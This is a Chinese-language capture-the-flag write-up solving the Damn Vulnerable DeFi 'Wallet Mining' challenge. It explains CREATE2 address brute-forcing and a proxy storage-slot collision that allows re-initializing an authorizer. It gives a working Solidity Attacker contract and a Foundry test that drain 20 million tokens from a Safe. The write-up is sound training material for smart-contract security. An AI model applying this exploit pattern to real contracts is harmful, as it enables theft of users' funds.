Damn-vulnerable-defi-V4-solution(Wallet Mining)
一、Wallet Mining
背景:
本次挑战由两部分组成。
我们遇到的问题是,某个地址记录了 2000 万个 DVT,但该地址上还没有部署合约。我们需要在该地址上部署一个合约。
ward应该在WalletDeployer使用drop()函数部署合约后获得 1 个 DVT。然而,我们的角色是player,并且该函数只允许被ward在目标地址部署合约。我们需要找到一种方法来捕获那 1 个 DVT。
SafeProxy的部署过程如下:
我们之所以称之为SafeProxy代理,是因为它将所有逻辑委托给了 Safe Wallet 单例。代理合约本身包含极少的代码;其主要功能是使用 delegatecall将调用转发给 Safe Wallet 单例。
SafeProxy合约是使用CREATE2创建的,这意味着我们可以确定性地计算它们的地址。地址是:
keccak256(0xFF ++ sender ++ salt ++ keccak256(init_code))[12:] // 仅用于说明,并非实际代码
//proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)这里的sender指的是部署者地址。一开始我误以为部署者是 ward,但这是一个很大的误解。实际上,部署者是SafeProxyFactory合约。init_code用于地址计算的是:
abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(_singleton)));我们需要在地址后附加创建代码,_singleton因为 是_singleton作为构造函数参数传递的。我们手动将其转换_singleton为uint256(uint160(_singleton)),因为address是 20 个字节,但abi.encodePacked需要紧密对齐的数据,对齐到 32 个字节。
盐是:
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));因此,我们需要做的就是找到正确的initializer和saltNonce (a uint256),以便计算出的地址与所需的地址匹配。
initializer相对容易猜测,因为它对应于SafeProxy的setup 的data,它会调用Safe.sol中的setup函数。
address[] memory owners = new address[](1);
owners[0] = user;
bytes memory initializer = abi.encodeCall(Safe.setup, (owners, 1 // 1 is the threshold
, address(0), "", address(0), address(0), 0, payable(address(0))));为了找到saltNonce使部署的合约地址与相匹配的正确值USER_DEPOSIT_ADDRESS,我们需要通过迭代可能的值来进行暴力破解,通常使用for循环 - 直到计算出的地址等于目标地址。
// finding the saltNonce
for (uint256 saltNonce = 0; saltNonce < 100; saltNonce++) {
address[] memory owners = new address[](1);
owners[0] = user;
bytes memory initializer = abi.encodeCall(Safe.setup, (owners, 1 // 1 is the threshold
, address(0), "", address(0), address(0), 0, payable(address(0))));
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory initCode = abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy))));
bytes memory guessBytes = keccak256(abi.encodePacked(bytes1(0xff), address(proxyFactory), salt, keccak256(initCode)));
address guess = address(uint160(uint256(guessBytes)));
if (guess == USER_DEPOSIT_ADDRESS) {
console.log("saltNonce", saltNonce);
}我们发现saltNonce部署的值SafeProxy是13。
第二步,使用WalletDeployer中的函数drop部署合约。
function drop(address aim, bytes memory wat, uint256 num) external returns (bool) {
if (mom != address(0) && !can(msg.sender, aim)) {
return false;
}
if (address(cook.createProxyWithNonce(cpy, wat, num)) != aim) {
return false;
}
if (IERC20(gem).balanceOf(address(this)) >= pay) {
IERC20(gem).transfer(msg.sender, pay);
}
return true;
}该drop函数调用mom中的函数can来验证msg.sender是否有权在目标地址部署合约。该mom合约是authorizer,它是AuthorizeUpgradable的代理实例。在初始化期间,它将设置can(ward, aim) = true, needsInit为零以防止重新初始化。
然而,由于authorizer实际上是AuthorizeUpgradable 实例的可升级代理,其第一个存储槽保存的是 的upgrader地址。这引入了一个漏洞:我们可以重新初始化合约,并将 ward设置为player。
对以上内容进行更详细的解释:
authorizer ( TransparentProxy) 使用AuthorizerFactory.sol 中的代码进行部署。不幸的是,AuthorizerUpgradeable(authorizer).needsInit()和TransparentProxy(payable(authorizer)).setUpgrader(...)都访问同一个存储槽,具体来说是槽 0。这会产生冲突,就像needsInit和AuthorizeUpgradable重叠upgrader一样TransparentProxy。部署结束时,槽 0 被设置为upgrader,它非零,这使我们能够再次初始化。
// AuthorizerFactory.sol
function deployWithProxy(address[] memory wards, address[] memory aims, address upgrader)
external
returns (address authorizer)
{
authorizer = address(
new TransparentProxy( // proxy
address(new AuthorizerUpgradeable()), // implementation
abi.encodeCall(AuthorizerUpgradeable.init, (wards, aims)) // init data
)
);
assert(AuthorizerUpgradeable(authorizer).needsInit() == 0); // slot0
TransparentProxy(payable(authorizer)).setUpgrader(upgrader); // also slot0
}另一部分挑战在于,所有操作都必须在单笔交易drop中完成。在目标地址使用部署合约后WalletDeployer.sol,我们需要立即调用execTransaction,SafeWallet将 2000 万 DVT 转回给 user。这需要传入有效的签名。
由于只允许一笔交易,我们必须使用 user的私钥对消息进行预签名,并将签名传递给我们部署的Attacker合约。Attacker合约随后将执行其余的攻击逻辑。
攻击思路:
攻击者先把 Authorizer 重新初始化,把自己写入为被授权者(可以为目标地址 USER_DEPOSIT_ADDRESS 做部署)。然后通过 WalletDeployer.drop() 在目标地址部署一个 Gnosis Safe(多签钱包),并把这个 Safe 的 owner 设为题目里“可控”的 user(攻击者持有 user 的私钥)。部署后用 user 的签名调用 Safe 的 execTransaction,把 Safe 里的大额 DVT 转到 user(实际就是攻击者控制的账户)。最后给 ward 一小笔(1 ether)作为“回扣/掩饰”。
function test_walletMining() public checkSolvedByPlayer {
bytes32 DOMAIN_SEPARATOR = keccak256(
abi.encode(
bytes32(0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218),
block.chainid,
USER_DEPOSIT_ADDRESS
)
);
bytes memory txHashData = abi.encodePacked(
bytes1(0x19),
bytes1(0x01),
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
bytes32(0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8),
address(token),
0,
keccak256(abi.encodeCall(token.transfer, (user, 20_000_000e18))),
Enum.Operation.Call,
50000,
0,
0,
address(0),
payable(0),
0
)
)
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, keccak256(txHashData));
bytes memory signatures = abi.encodePacked(r, s, v);
new Attacker(authorizer, walletDeployer, token, signatures, user, ward);
}contract Attacker {
constructor(
AuthorizerUpgradeable authorizer,
WalletDeployer walletDeployer,
DamnValuableToken token,
bytes memory signatures,
address user,
address ward
) {
{
address[] memory newWards = new address[](1);
newWards[0] = address(this);
address[] memory aims = new address[](1);
aims[0] = 0xCe07CF30B540Bb84ceC5dA5547e1cb4722F9E496;
authorizer.init(newWards, aims);
}
address[] memory owners = new address[](1);
owners[0] = user;
bytes memory initializer =
abi.encodeCall(Safe.setup, (owners, 1, address(0), "", address(0), address(0), 0, payable(address(0))));
walletDeployer.drop(0xCe07CF30B540Bb84ceC5dA5547e1cb4722F9E496, initializer, 13);
Safe(payable(0xCe07CF30B540Bb84ceC5dA5547e1cb4722F9E496)).execTransaction(
address(token),
0,
abi.encodeCall(token.transfer, (user, 20_000_000e18)),
Enum.Operation.Call,
50000,
0,
0,
address(0),
payable(0),
signatures
);
token.transfer(ward, 1 ether);
}
} 当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »